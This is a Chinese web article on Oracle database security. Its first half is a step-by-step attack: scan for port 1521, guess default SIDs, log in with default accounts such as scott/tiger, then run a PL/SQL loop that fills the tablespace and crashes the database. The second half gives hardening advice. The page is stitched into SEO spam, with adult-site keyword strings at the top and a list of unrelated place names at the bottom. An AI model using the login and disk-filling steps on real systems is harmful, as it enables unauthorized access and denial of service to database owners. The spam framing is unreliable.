国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

搞垮他的數(shù)據(jù)庫(kù)--談Oracle安全

瀏覽:36日期:2023-11-14 14:19:19
--田月 人們經(jīng)常聽(tīng)到Windows的安全漏洞,頻繁的遭受病毒攻擊等,我們的傳統(tǒng)觀念是 Windows太不安全了;實(shí)際上Unix/Linux假如配置不當(dāng),其危險(xiǎn)性遠(yuǎn)遠(yuǎn)高出人們的想象,大部分人非常重視操作系統(tǒng)的安全,但作為其最重要的數(shù)據(jù)庫(kù)應(yīng)用,你注重它了么?本文旨在介紹數(shù)據(jù)庫(kù)級(jí)的安全,當(dāng)然操作系統(tǒng)被攻破的話,那一切免談。 讓我?guī)闳ピ囍粢慌_(tái)裝有Oracle的機(jī)器1、首先確定被攻擊Oracle的IP地址(無(wú)目的,那就去全網(wǎng)掃描吧,發(fā)現(xiàn)1521端口打開(kāi)的就挑出來(lái),不要說(shuō)連掃描都不會(huì),F(xiàn)..t)2、猜測(cè)它的SID號(hào);好象很困難,事實(shí)上安裝Oracle時(shí)有缺省值,80%的人安裝時(shí)都不會(huì)去修改,或改為很輕易猜測(cè)的值,比如:ORCL、ORA、ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...3、連接后,猜測(cè)用戶名和口令;好象更困難,事實(shí)上安裝 Oracle時(shí),SYS、SYSTEM等系統(tǒng)用戶有缺省口令,可惜在9i中,終于改為需用戶自己確定口令(不過(guò)大部分用戶還是沿用以前的口令或使用'oracle'),而且還有被人們遺忘的用戶,比如SCOTT,缺省安裝時(shí)他會(huì)被建立起來(lái)的。4、sqlplus scott/tiger@ora_sid 終于登陸進(jìn)來(lái),可是這個(gè)小用戶只是用來(lái)做測(cè)試學(xué)習(xí)的,我們用他來(lái)干什么呢?鍵入:SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;USERNAME;;;;DEFAULT_TABLESPACE------------------------------ ------------------------------SCOTT; USERSSQL> select * from session_privs;PRIVILEGE----------------------------------------CREATE SESSIONALTER SESSIONUNLIMITED TABLESPACECREATE TABLECREATE CLUSTERCREATE SYNONYMCREATE VIEWCREATE SEQUENCECREATE DATABASE LINKCREATE PROCEDURECREATE TRIGGERCREATE TYPECREATE OPERATORCREATE INDEXTYPESQL> select * from user_ts_quotas;TABLESPACE_NAME;;BYTES; MAX_BYTES;;BLOCKS MAX_BLOCKS------------------------------ ---------- ---------- ---------- ----------SYSTEM;;524288; 0 64; 0USERS;;;;65536; 0; 8; 0什么意思呢?意思是我們的這個(gè)用戶是數(shù)據(jù)缺省是建在USERS表空間上的,擁有建表等權(quán)限,而USERS表空間的磁盤使用是無(wú)限制的,聰明的讀者應(yīng)該明白我們可以在這里寫(xiě)入很多數(shù)據(jù)直到占滿它的磁盤,造成數(shù)據(jù)庫(kù)無(wú)法使用......我們?cè)囋嚢上冉◤埍鞸QL> CREATE TABLE TEST (A CHAR(30));這張TEST表只有一個(gè)字段A再寫(xiě)個(gè)PL/SQL過(guò)程DECLAREv_number varchar2(30);m_number varchar2(30):=999999999999999999999999999999;--m_number的值代表了插入多少行數(shù)據(jù),可修改但不能超過(guò)30位。 beginFOR v_number IN 1..m_number LOOPinsert into TEST(A) values(m_number);commit;end LOOP;end;/ 上面的PL/SQL過(guò)程表示給TEST表中A列循環(huán)插入'999999999999999999999999999999'值,共計(jì)999999999999999999999999999999行。以每行30 byte來(lái)算,共計(jì)2000000多億T大小吧,即便他是IBM大鯊魚(yú)的陣列存儲(chǔ),也扛不住。 當(dāng)然,你也可以增加幾個(gè)列,減少m_number值,可以加快速度的。 這里再提醒大家一個(gè)Oracle缺省用戶DBSNMP,幾乎所有稍高版本的典型安裝都會(huì)創(chuàng)建它,危險(xiǎn)指數(shù)高于SCOTT,因?yàn)樗莿?chuàng)建在SYSTEM表空間的......F..t 講了半天,DBA們快看看自己的系統(tǒng),一般來(lái)說(shuō)成功率相當(dāng)高。下面我們開(kāi)始講講如何作好安全防護(hù):1、啟用防火墻。很多單位的數(shù)據(jù)庫(kù)都沒(méi)有防火墻保護(hù),或防火墻配置為透明。實(shí)際上防火墻可以有效的阻止掃描 ,假如做了NAT、地址限制、禁止ICMP等就更好了,讓別人在外網(wǎng)看不到你的數(shù)據(jù)庫(kù)。2、加大多層結(jié)構(gòu)數(shù)據(jù)庫(kù)應(yīng)用的建設(shè)。傳統(tǒng)的C/S盡管有很多優(yōu)勢(shì),但在安全性上實(shí)在令人擔(dān)心。很多程序開(kāi)發(fā)者會(huì)將數(shù)據(jù)庫(kù)的用戶名和密碼直接寫(xiě)在客戶端程序中,認(rèn)為編譯后會(huì)很安全,但事實(shí)上你用文本編輯器打開(kāi)過(guò)這個(gè)客戶端程序嗎?你會(huì)吃驚的發(fā)現(xiàn)竟然可以看到用戶名和密碼。多層結(jié)構(gòu)就沒(méi)有這個(gè)問(wèn)題,前臺(tái)就是個(gè)瀏覽器或簡(jiǎn)單的客戶端,可能會(huì)影響效率但在需要全網(wǎng)公開(kāi)提供服務(wù)的情況下肯定是首選。3、去除Oracle里用不到的組件,比如Jserver、Agent、遠(yuǎn)程治理等等,這些強(qiáng)大的功能都是安全隱患,9I的AS存在緩沖溢出漏洞,假如你裝了就做祈禱吧...4、修改缺省用戶的密碼,自建用戶加強(qiáng)口令治理和復(fù)雜度。用system用戶進(jìn)入執(zhí)行SQL> select username from dba_users;USERNAME------------------------------SYSSYSTEMOUTLNDBSNMPTESTSCOTTRMANTEST1SQL> select * from session_privs;PRIVILEGE----------------------------------------CREATE SESSIONALTER SESSIONCREATE TABLECREATE CLUSTERCREATE SYNONYMCREATE VIEWCREATE SEQUENCECREATE DATABASE LINKSELECT ANY DICTIONARY看看你系統(tǒng)到底存在哪些用戶,口令修改了嗎,夠復(fù)雜嗎,相應(yīng)的權(quán)限是否有擴(kuò)大的嫌疑?5、作好數(shù)據(jù)備份具體這里就不多說(shuō)了,CSDN相關(guān)版塊里有具體的帖子描述Oracle備份機(jī)制。6、合理劃分文件系統(tǒng)*在Unix/Linux下使用df -k檢查你的文件系統(tǒng),不同用戶使用不同的表空間,不同的表空間建在不同的文件系統(tǒng),千萬(wàn)不要把應(yīng)用建在SYSTEM表空間上,回滾/重做表空間的治理也不容忽視;SQL> host df -kFilesystem1K-blocks;;;Used Available Use% Mounted on/dev/hda2;;;503631621008322679652; 44% //dev/hda3;;;50363164381292;399192; 92% /oraclenone;256144 0;2561440% /dev/shm/dev/hda5;;;2016016;8631441050460; 46% /data1/dev/hda7;;;6166948;5581765295508; 10% /data2/dev/cdrom;;;;81762;;81762 0 100% /mnt/cdromSQL> select file_name,tablespace_name from dba_data_filFILE_NAME-------------------------------------------------------TABLESPACE_NAME------------------------------/oracle/prodUCt/9.2.01/oradata/system.dbfSYSTEM/oracle/product/9.2.01/oradata/undotbs.dbfUNDOTBS/data1/oradata/data1.dbfDATA1/data2/oradata/data2.dbfDATA2*在Windows下,使用資源治理器檢查你的分區(qū),不同的表空間建在不同的分區(qū)上,同樣千萬(wàn)不要把SYSTEM表空間和應(yīng)用放在一起。 當(dāng)然,安全治理浩如煙海,這篇文章全當(dāng)拋磚引玉......
主站蜘蛛池模板: 瑞金市| 永宁县| 延津县| 涞源县| 彰化市| 沁源县| 招远市| 湘潭县| 丰镇市| 临西县| 巨鹿县| 扎兰屯市| 镇远县| 通辽市| 万盛区| 定陶县| 金寨县| 通辽市| 武陟县| 温宿县| 青海省| 琼海市| 安吉县| 东阿县| 湘潭市| 庄浪县| 昌黎县| 铜陵市| 遵义县| 卓尼县| 津市市| 乐至县| 玛沁县| 新乡市| 建瓯市| 德令哈市| 武宣县| 济南市| 报价| 旬阳县| 山阴县|